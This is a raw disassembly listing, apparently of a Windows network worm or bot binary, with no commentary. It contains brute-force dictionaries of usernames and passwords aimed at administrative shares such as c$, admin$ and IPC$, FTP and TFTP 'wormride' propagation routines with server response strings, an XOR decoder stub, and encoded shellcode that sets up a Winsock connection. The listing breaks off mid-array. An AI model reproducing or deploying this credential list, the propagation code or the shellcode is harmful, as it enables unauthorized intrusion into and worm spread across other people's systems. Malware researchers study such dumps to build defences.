dd 195h dword_416B38 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: sub_40CEBE+2CDo dword_416B4C dd 6BFFD098h, 3610A112h, 0C3463398h, 5A347EF8h, 0 ; DATA XREF: sub_40CEBE+29Eo dword_416B60 dd 65706970h, 736B775Ch, 637673h ; DATA XREF: sub_40CEBE+236o dword_416B6C dd 24637069h, 0 ; DATA XREF: sub_40CEBE+1DFo dword_416B74 dd 73255C5Ch, 5Ch ; DATA XREF: sub_40CEBE+1CCo ; sub_40CEBE+223o dword_416B7C dd 2Eh ; DATA XREF: sub_40CEBE+1AFo dword_416B80 dd 73255C5Ch, 0 ; DATA XREF: sub_40CEBE+18Fo dword_416B88 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D42D+ADo dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_416BD4 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_40D42D+F2o ; --------------------------------------------------------------------------- loc_416BF0: ; DATA XREF: sub_40D42D+124o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_416C04 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_40D42D+14Do a5000 db '5000',0 ; DATA XREF: sub_40D42D+28o align 10h byte_416C20 db 90h ; DATA XREF: sub_40D5A8+1Er ; sub_40D5A8+49r ... dword_416C21 dd 0 ; DATA XREF: sub_40D5A8+77r db 9Eh, 2 dup(0) dd 0F50000h, 0F8000000h, 0 dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h dd 1400000h, 41000000h, 4, 842h, 24300h, 40450000h, 46000000h dd 10h, 2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h dd 9, 393h, 419500h, 11960000h, 97000000h, 21h, 999h, 0 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aComputer ; "computer" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOemuser ; "oemuser" dd offset aWwwadmin ; "wwwadmin" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aGuest ; "guest" dd offset aNone ; "none" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aGod ; "god" dd offset aDomain ; "domain" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aData ; "data" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aMain ; "main" dd offset aLan_0 ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aOwner ; "owner" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 dd offset aC_0 ; "c$" dd offset aD ; "d$" dd offset aE ; "e$" dd offset aCShared ; "c$\\shared" dd offset aDShared ; "d$\\shared" dd offset aEShared ; "e$\\shared" dd offset aCWinnt ; "c$\\winnt" dd offset aCWindows ; "c$\\windows" dd offset aCWinntSystem32 ; "c$\\winnt\\system32" dd offset aCWindowsSystem ; "c$\\windows\\system32" dd offset aAdminSystem32 ; "Admin$\\system32" dd offset aAdmin_0 ; "admin$" dd offset aCDocumentsAndS ; "C$\\Documents and Settings\\All Users\\Doc"... dd offset aPrint ; "print$" dd offset aIpc ; "IPC$" dd 0 dd offset byte_4191D0 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aA_0 ; "a" dd offset aAb ; "ab" dd offset aAbc ; "abc" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aDba ; "dba" dd offset aPass1234 ; "pass1234" dd offset aPass ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset aWork ; "work" dd offset aDeadline ; "deadline" dd offset aPayday ; "payday" dd offset aSecret ; "secret" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset a2005 ; "2005" dd offset aTest ; "test" dd offset aGuest ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aComputer ; "computer" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aNull ; "null" dd offset aTemp ; "temp" dd offset aTemp123 ; "temp123" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aSex ; "sex" dd offset aLetmein ; "letmein" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWwwadmin ; "wwwadmin" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aMoney ; "money" dd offset aLove ; "love" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp_0 ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan_0 ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aOwner ; "owner" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 aWinpass db 'winpass',0 ; DATA XREF: kkrunchy:0041707Co aBlank db 'blank',0 ; DATA XREF: kkrunchy:00417078o align 4 aXp_0 db 'xp',0 ; DATA XREF: kkrunchy:0041706Co align 4 aNokia db 'nokia',0 ; DATA XREF: kkrunchy:00417068o align 10h aHp db 'hp',0 ; DATA XREF: kkrunchy:00417064o align 4 aOrainstall db 'orainstall',0 ; DATA XREF: kkrunchy:00417048o align 10h aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: kkrunchy:00417044o align 4 aDb1234 db 'db1234',0 ; DATA XREF: kkrunchy:00417038o align 4 aDb2 db 'db2',0 ; DATA XREF: kkrunchy:00417034o aDb1 db 'db1',0 ; DATA XREF: kkrunchy:00417030o aDatabasepasswo db 'databasepassword',0 ; DATA XREF: kkrunchy:0041702Co align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: kkrunchy:00417024o align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: kkrunchy:00417020o align 4 aDbpass db 'dbpass',0 ; DATA XREF: kkrunchy:0041701Co align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: kkrunchy:00417010o align 4 aDomainpass db 'domainpass',0 ; DATA XREF: kkrunchy:0041700Co align 4 aHello db 'hello',0 ; DATA XREF: kkrunchy:00417004o align 10h aHell db 'hell',0 ; DATA XREF: kkrunchy:00417000o align 4 aLove db 'love',0 ; DATA XREF: kkrunchy:00416FFCo align 10h aMoney db 'money',0 ; DATA XREF: kkrunchy:00416FF8o align 4 aSlut db 'slut',0 ; DATA XREF: kkrunchy:00416FECo align 10h aBitch db 'bitch',0 ; DATA XREF: kkrunchy:00416FE8o align 4 aFuck db 'fuck',0 ; DATA XREF: kkrunchy:00416FE4o align 10h aExchange db 'exchange',0 ; DATA XREF: kkrunchy:00416FE0o align 4 aLoginpass db 'loginpass',0 ; DATA XREF: kkrunchy:00416FD4o align 4 aLogin db 'login',0 ; DATA XREF: kkrunchy:00416FD0o align 10h aQwe db 'qwe',0 ; DATA XREF: kkrunchy:00416F6Co aZxc db 'zxc',0 ; DATA XREF: kkrunchy:00416F68o aAsd db 'asd',0 ; DATA XREF: kkrunchy:00416F64o aQaz db 'qaz',0 ; DATA XREF: kkrunchy:00416F60o aWin2000 db 'win2000',0 ; DATA XREF: kkrunchy:00416F5Co aWinnt db 'winnt',0 ; DATA XREF: kkrunchy:00416F58o align 10h aWinxp db 'winxp',0 ; DATA XREF: kkrunchy:00416F54o align 4 aWin2k db 'win2k',0 ; DATA XREF: kkrunchy:00416F50o align 10h aWin98 db 'win98',0 ; DATA XREF: kkrunchy:00416F4Co align 4 aWindows db 'windows',0 ; DATA XREF: kkrunchy:00416F48o aOeminstall db 'oeminstall',0 ; DATA XREF: kkrunchy:00416F40o align 4 aOem db 'oem',0 ; DATA XREF: kkrunchy:00416F38o aAccounting db 'accounting',0 ; DATA XREF: kkrunchy:00416F28o align 4 aAccounts db 'accounts',0 ; DATA XREF: kkrunchy:00416F24o align 4 aLetmein db 'letmein',0 ; DATA XREF: kkrunchy:00416F20o aSex db 'sex',0 ; DATA XREF: kkrunchy:00416F1Co ; kkrunchy:00416FF0o aOutlook db 'outlook',0 ; DATA XREF: kkrunchy:00416F0Co aMail db 'mail',0 ; DATA XREF: kkrunchy:00416F08o align 4 aQwerty db 'qwerty',0 ; DATA XREF: kkrunchy:00416F04o align 4 aTemp123 db 'temp123',0 ; DATA XREF: kkrunchy:00416F00o aTemp db 'temp',0 ; DATA XREF: kkrunchy:00416EFCo align 4 aNull db 'null',0 ; DATA XREF: kkrunchy:00416EF8o align 4 aDefault db 'default',0 ; DATA XREF: kkrunchy:00416EE8o aChangeme db 'changeme',0 ; DATA XREF: kkrunchy:00416EE4o align 4 aDemo db 'demo',0 ; DATA XREF: kkrunchy:00416ED4o align 10h aTest db 'test',0 ; DATA XREF: kkrunchy:00416EC8o align 4 a2005 db '2005',0 ; DATA XREF: kkrunchy:00416EC4o align 10h a2004 db '2004',0 ; DATA XREF: kkrunchy:00416EC0o align 4 a2001 db '2001',0 ; DATA XREF: kkrunchy:00416EB4o align 10h aSecret db 'secret',0 ; DATA XREF: kkrunchy:00416EACo align 4 aPayday db 'payday',0 ; DATA XREF: kkrunchy:00416EA8o align 10h aDeadline db 'deadline',0 ; DATA XREF: kkrunchy:00416EA4o align 4 aWork db 'work',0 ; DATA XREF: kkrunchy:00416EA0o align 4 a1234567890 db '1234567890',0 ; DATA XREF: kkrunchy:00416E9Co align 10h a123456789 db '123456789',0 ; DATA XREF: kkrunchy:00416E98o align 4 a12345678 db '12345678',0 ; DATA XREF: kkrunchy:00416E94o align 4 a1234567 db '1234567',0 ; DATA XREF: kkrunchy:00416E90o a123456 db '123456',0 ; DATA XREF: kkrunchy:00416E8Co align 4 a12345 db '12345',0 ; DATA XREF: kkrunchy:00416E88o align 10h a1234 db '1234',0 ; DATA XREF: kkrunchy:00416E84o align 4 a123 db '123',0 ; DATA XREF: kkrunchy:00416E80o a12 db '12',0 ; DATA XREF: kkrunchy:00416E7Co align 10h a1: ; DATA XREF: kkrunchy:00416E78o unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: kkrunchy:00416E74o aPwd db 'pwd',0 ; DATA XREF: kkrunchy:00416E70o aPass db 'pass',0 ; DATA XREF: kkrunchy:00416E6Co align 4 aPass1234 db 'pass1234',0 ; DATA XREF: kkrunchy:00416E68o align 10h aDba db 'dba',0 ; DATA XREF: kkrunchy:00416E64o aPasswd db 'passwd',0 ; DATA XREF: kkrunchy:00416E60o align 4 aPassword db 'password',0 ; DATA XREF: kkrunchy:00416E5Co ; kkrunchy:00418B48o align 4 aPassword1 db 'password1',0 ; DATA XREF: kkrunchy:00416E58o align 4 aAbc db 'abc',0 ; DATA XREF: kkrunchy:00416E54o aAb db 'ab',0 ; DATA XREF: kkrunchy:00416E50o align 4 aA_0: ; DATA XREF: kkrunchy:00416E4Co unicode 0, <a>,0 aIpc db 'IPC$',0 ; DATA XREF: kkrunchy:00416E24o align 4 aPrint db 'print$',0 ; DATA XREF: kkrunchy:00416E20o align 10h aCDocumentsAndS db 'C$\Documents and Settings\All Users\Documents\$',0 ; DATA XREF: kkrunchy:00416E1Co aAdmin_0 db 'admin$',0 ; DATA XREF: kkrunchy:00416E18o align 4 aAdminSystem32 db 'Admin$\system32',0 ; DATA XREF: kkrunchy:00416E14o aCWindowsSystem db 'c$\windows\system32',0 ; DATA XREF: kkrunchy:00416E10o aCWinntSystem32 db 'c$\winnt\system32',0 ; DATA XREF: kkrunchy:00416E0Co align 10h aCWindows db 'c$\windows',0 ; DATA XREF: kkrunchy:00416E08o align 4 aCWinnt db 'c$\winnt',0 ; DATA XREF: kkrunchy:00416E04o align 4 aEShared db 'e$\shared',0 ; DATA XREF: kkrunchy:00416E00o align 4 aDShared db 'd$\shared',0 ; DATA XREF: kkrunchy:00416DFCo align 10h aCShared db 'c$\shared',0 ; DATA XREF: kkrunchy:00416DF8o align 4 aE db 'e$',0 ; DATA XREF: kkrunchy:00416DF4o align 10h aD db 'd$',0 ; DATA XREF: kkrunchy:00416DF0o align 4 aC_0 db 'c$',0 ; DATA XREF: kkrunchy:00416DECo align 4 aStaff db 'staff',0 ; DATA XREF: kkrunchy:00416DE4o ; kkrunchy:0041709Co align 10h aTeacher db 'teacher',0 ; DATA XREF: kkrunchy:00416DE0o ; kkrunchy:00417098o aOwner db 'owner',0 ; DATA XREF: kkrunchy:00416DDCo ; kkrunchy:00417094o align 10h aStudent db 'student',0 ; DATA XREF: kkrunchy:00416DD8o ; kkrunchy:00417090o aIntranet db 'intranet',0 ; DATA XREF: kkrunchy:00416DD4o ; kkrunchy:0041708Co align 4 aLan_0 db 'lan',0 ; DATA XREF: kkrunchy:00416DCCo ; kkrunchy:00417084o aMain db 'main',0 ; DATA XREF: kkrunchy:00411445o ; kkrunchy:00411479o ... align 10h aOffice db 'office',0 ; DATA XREF: kkrunchy:00416DC4o ; kkrunchy:00417074o align 4 aControl db 'control',0 ; DATA XREF: kkrunchy:00416DC0o ; kkrunchy:00417070o aSiemens db 'siemens',0 ; DATA XREF: kkrunchy:00416DBCo ; kkrunchy:00417060o aCompaq db 'compaq',0 ; DATA XREF: kkrunchy:00416DB8o ; kkrunchy:0041705Co align 10h aDell db 'dell',0 ; DATA XREF: kkrunchy:00416DB4o ; kkrunchy:00417058o align 4 aCisco db 'cisco',0 ; DATA XREF: kkrunchy:00416DB0o ; kkrunchy:00417054o align 10h aIbm db 'ibm',0 ; DATA XREF: kkrunchy:00416DACo ; kkrunchy:00417050o aOracle db 'oracle',0 ; DATA XREF: kkrunchy:00416DA8o ; kkrunchy:0041704Co align 4 aSql db 'sql',0 ; DATA XREF: kkrunchy:00416DA4o ; kkrunchy:00417040o aSa db 'sa',0 ; DATA XREF: kkrunchy:00416DA0o ; kkrunchy:0041703Co align 4 aData db 'data',0 ; DATA XREF: kkrunchy:00416D9Co ; kkrunchy:00417028o align 4 aAccess db 'access',0 ; DATA XREF: kkrunchy:00416D98o ; kkrunchy:00417018o align 4 aDatabase db 'database',0 ; DATA XREF: kkrunchy:00416D94o ; kkrunchy:00417014o align 10h aDomain db 'domain',0 ; DATA XREF: kkrunchy:00416D90o ; kkrunchy:00417008o align 4 aGod db 'god',0 ; DATA XREF: kkrunchy:00416D8Co ; kkrunchy:00416FF4o aBackup db 'backup',0 ; DATA XREF: kkrunchy:00416D88o ; kkrunchy:00416FDCo align 4 aTechnical db 'technical',0 ; DATA XREF: kkrunchy:00416D84o ; kkrunchy:00416FD8o align 10h aMary db 'mary',0 ; DATA XREF: kkrunchy:00416D80o ; kkrunchy:00416FCCo align 4 aKatie db 'katie',0 ; DATA XREF: kkrunchy:00416D7Co ; kkrunchy:00416FC8o align 10h aKate db 'kate',0 ; DATA XREF: kkrunchy:00416D74o ; kkrunchy:00416FC0o align 4 aGeorge db 'george',0 ; DATA XREF: kkrunchy:00416D70o ; kkrunchy:00416FBCo align 10h aEric db 'eric',0 ; DATA XREF: kkrunchy:00416D6Co ; kkrunchy:00416FB8o align 4 aNone db 'none',0 ; DATA XREF: kkrunchy:00416D68o ; kkrunchy:00416ED0o align 10h aGuest db 'guest',0 ; DATA XREF: kkrunchy:00416D64o ; kkrunchy:00416ECCo align 4 aChris db 'chris',0 ; DATA XREF: kkrunchy:00416D60o ; kkrunchy:00416FB4o align 10h aIan db 'ian',0 ; DATA XREF: kkrunchy:00416D5Co ; kkrunchy:00416FB0o aNeil db 'neil',0 ; DATA XREF: kkrunchy:00416D58o ; kkrunchy:00416FACo align 4 aLee db 'lee',0 ; DATA XREF: kkrunchy:00416D54o ; kkrunchy:00416FA8o aBrian db 'brian',0 ; DATA XREF: kkrunchy:00416D50o ; kkrunchy:00416FA4o align 4 aSusan db 'susan',0 ; DATA XREF: kkrunchy:00416D48o ; kkrunchy:00416F9Co align 10h aSue db 'sue',0 ; DATA XREF: kkrunchy:00416D44o ; kkrunchy:00416F98o aSam db 'sam',0 ; DATA XREF: kkrunchy:00416D40o ; kkrunchy:00416F94o aLuke db 'luke',0 ; DATA XREF: kkrunchy:00416D3Co ; kkrunchy:00416F90o align 10h aPeter db 'peter',0 ; DATA XREF: kkrunchy:00416D38o ; kkrunchy:00416D4Co ... align 4 aJohn db 'john',0 ; DATA XREF: kkrunchy:00416D34o ; kkrunchy:00416F88o align 10h aMike db 'mike',0 ; DATA XREF: kkrunchy:00416D30o ; kkrunchy:00416F84o align 4 aBill db 'bill',0 ; DATA XREF: kkrunchy:00416D2Co ; kkrunchy:00416F80o align 10h aFred db 'fred',0 ; DATA XREF: kkrunchy:00416D28o ; kkrunchy:00416F7Co align 4 aJoe db 'joe',0 ; DATA XREF: kkrunchy:00416D24o ; kkrunchy:00416F78o aJen db 'jen',0 ; DATA XREF: kkrunchy:00416D20o ; kkrunchy:00416F74o aBob db 'bob',0 ; DATA XREF: kkrunchy:00416D1Co ; kkrunchy:00416D78o ... aWwwadmin db 'wwwadmin',0 ; DATA XREF: kkrunchy:00416D18o ; kkrunchy:00416F44o align 10h aOemuser db 'oemuser',0 ; DATA XREF: kkrunchy:00416D14o ; kkrunchy:00416F3Co aUser db 'user',0 ; DATA XREF: kkrunchy:00416D10o ; kkrunchy:00416F34o align 10h aHomeuser db 'homeuser',0 ; DATA XREF: kkrunchy:00416D0Co ; kkrunchy:00416F30o align 4 aHome db 'home',0 ; DATA XREF: kkrunchy:00416D08o ; kkrunchy:00416F2Co align 4 aInternet db 'internet',0 ; DATA XREF: kkrunchy:00416D04o ; kkrunchy:00416DD0o ... align 10h aWww db 'www',0 ; DATA XREF: kkrunchy:00416D00o ; kkrunchy:00416F14o aWeb db 'web',0 ; DATA XREF: kkrunchy:00416CFCo ; kkrunchy:00416F10o aRoot db 'root',0 ; DATA XREF: kkrunchy:00416CF8o ; kkrunchy:00416EF4o align 10h aServer_0 db 'server',0 ; DATA XREF: kkrunchy:00416CF4o ; kkrunchy:00416EF0o align 4 aLinux db 'linux',0 ; DATA XREF: kkrunchy:00416CECo ; kkrunchy:00416EE0o align 10h aUnix db 'unix',0 ; DATA XREF: kkrunchy:00416CE8o ; kkrunchy:00416EDCo align 4 aComputer db 'computer',0 ; DATA XREF: kkrunchy:00416CE4o ; kkrunchy:00416ED8o align 4 aAdm db 'adm',0 ; DATA XREF: kkrunchy:00416CE0o ; kkrunchy:00416E48o aAdmin db 'admin',0 ; DATA XREF: kkrunchy:00416CDCo ; kkrunchy:00416E44o align 10h aAdmins db 'admins',0 ; DATA XREF: kkrunchy:00416CD8o ; kkrunchy:00416E40o align 4 aAdministrat db 'administrat',0 ; DATA XREF: kkrunchy:00416CD4o ; kkrunchy:00416E3Co aAdministrateur db 'administrateur',0 ; DATA XREF: kkrunchy:00416CD0o ; kkrunchy:00416E38o align 4 aAdministrador db 'administrador',0 ; DATA XREF: kkrunchy:00416CCCo ; kkrunchy:00416E34o align 4 aAdministrator db 'administrator',0 ; DATA XREF: kkrunchy:00416CC8o ; kkrunchy:00416E30o align 4 a231 db '231 -',0Dh,0Ah,0 ; DATA XREF: sub_40D6E0:loc_40DB99o a221 db '221 -',0Dh,0Ah,0 ; DATA XREF: sub_40D6E0+48Ao dword_417634 dd 128170h ; DATA XREF: sub_40D6E0:loc_40DB62r align 10h unk_417640 db 2Dh ; - ; DATA XREF: sub_40D6E0+463o db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TransferToSC db '- %u. Transfer to %s complete.',0 aFtp_0 db 'ftp',0 ; DATA XREF: sub_40D6E0+45Eo dword_41766C dd 8E2D0h ; DATA XREF: sub_40D6E0:loc_40DAA7r dd 2 dup(0) dword_417678 dd 20363232h, 0A0D2Dh ; DATA XREF: sub_40D6E0+386o ; sub_40D6E0+41Ao aX32000Fh1024Ja db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: sub_40D6E0+353o db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0 align 4 a150 db '150 -',0Dh,0Ah,0 ; DATA XREF: sub_40D6E0+2AAo ; sub_40D6E0+3D3o dword_4176FC dd 0A7CF0h ; DATA XREF: sub_40D6E0:loc_40D97Er dd 2 dup(0) dword_417708 dd 20333132h, 0A0D7525h, 0 ; DATA XREF: sub_40D6E0+270o dword_417714 dd 146630h ; DATA XREF: sub_40D6E0:loc_40D8FEr align 10h dword_417720 dd 20303032h, 0A0D2Dh ; DATA XREF: sub_40D6E0:loc_40D8F4o aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_40D6E0+1BBo align 4 dword_41773C dd 1242F0h ; DATA XREF: sub_40D6E0:loc_40D87Br dd 2 dup(0) dword_417748 dd 20353234h, 0A0D2Dh ; DATA XREF: sub_40D6E0+191o dword_417750 dd 12ABA8h ; DATA XREF: sub_40D6E0+189r dd 2 dup(0) dword_41775C dd 1231B0h ; DATA XREF: sub_40D6E0:loc_40D85Dr dd 2 dup(0) dword_417768 dd 20373532h, 20222F22h, 0A0D2Dh ; DATA XREF: sub_40D6E0+173o dword_417774 dd 25A70h ; DATA XREF: sub_40D6E0:loc_40D84Br dd 0 dword_41777C dd 20313132h, 0A0D2Dh ; DATA XREF: sub_40D6E0+161o dword_417784 dd 0F9170h ; DATA XREF: sub_40D6E0:loc_40D839r align 10h dword_417790 dd 20353132h, 0A0D2Dh ; DATA XREF: sub_40D6E0+14Fo dword_417798 dd 147CF0h ; DATA XREF: sub_40D6E0+147r dd 2 dup(0) dword_4177A4 dd 20303332h, 0A0D2Dh ; DATA XREF: sub_40D6E0+129o dword_4177AC dd 12AE10h ; DATA XREF: sub_40D6E0:loc_40D7FAr dd 2 dup(0) dword_4177B8 dd 20313333h, 0A0D2Dh ; DATA XREF: sub_40D6E0+110o dword_4177C0 dd 1386D0h ; DATA XREF: sub_40D6E0+101r dd 2 dup(0) dword_4177CC dd 0A0D20h ; DATA XREF: sub_40D6E0+ACo dword_4177D0 dd 20303232h, 0A0D2Dh ; DATA XREF: sub_40D6E0+11o dword_4177D8 dd 303332h ; DATA XREF: sub_40DBD7+143o dword_4177DC dd 53534150h, 0A0D3120h, 0 ; DATA XREF: sub_40DBD7+F0o dword_4177E8 dd 313333h ; DATA XREF: sub_40DBD7+D1o dword_4177EC dd 52455355h, 0A0D3120h, 0 ; DATA XREF: sub_40DBD7+76o dword_4177F8 dd 303232h ; DATA XREF: sub_40DBD7+59o unk_4177FC db 2Dh ; - ; DATA XREF: sub_40DD36+A4o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningFtpWorm db '- Running FTP wormride thread',0 align 4 a127_0_0_1 db '127.0.0.1',0 ; DATA XREF: sub_40DD36+44o align 10h aFtpWormrideThr db 'FTP wormride thread',0 ; DATA XREF: sub_40DE4C+34o dword_417844 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_40DE9A+369o unk_417850 db 2Dh ; - ; DATA XREF: sub_40DE9A+34Bo db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TftpTransfer db '- %u. tftp transfer to %s complete.',0 align 10h aWormride db 'wormride',0 ; DATA XREF: sub_40DE9A+346o align 4 dword_41788C dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_40DE9A+1FEo aOctet db 'octet',0 ; DATA XREF: sub_40DE9A+1CEo align 4 unk_4178A8 db 2Dh ; - ; DATA XREF: sub_40DE9A+E5o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningTftpWor db '- Running TFTP wormride thread',0 aTftpWormrideTh db 'TFTP wormride thread',0 ; DATA XREF: sub_40E243+2Bo align 4 loc_4178E8: ; DATA XREF: sub_40E399+3Eo jmp short loc_4178FF ; --------------------------------------------------------------------------- loc_4178EA: ; CODE XREF: kkrunchy:loc_4178FFp mov ecx, 0 xor ecx, 0 pop esi loc_4178F6: ; CODE XREF: kkrunchy:004178FBj xor byte ptr [ecx+esi-1], 0 loop loc_4178F6 jmp short near ptr dword_417904 ; --------------------------------------------------------------------------- loc_4178FF: ; CODE XREF: kkrunchy:loc_4178E8j call loc_4178EA ; --------------------------------------------------------------------------- dword_417904 dd 0 ; CODE XREF: kkrunchy:004178FDj dword_417908 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_40E2C1+7Eo dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_4179BC dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_40E2C1+4Do dd 5C8B3C5Fh, 0DF03783Bh, 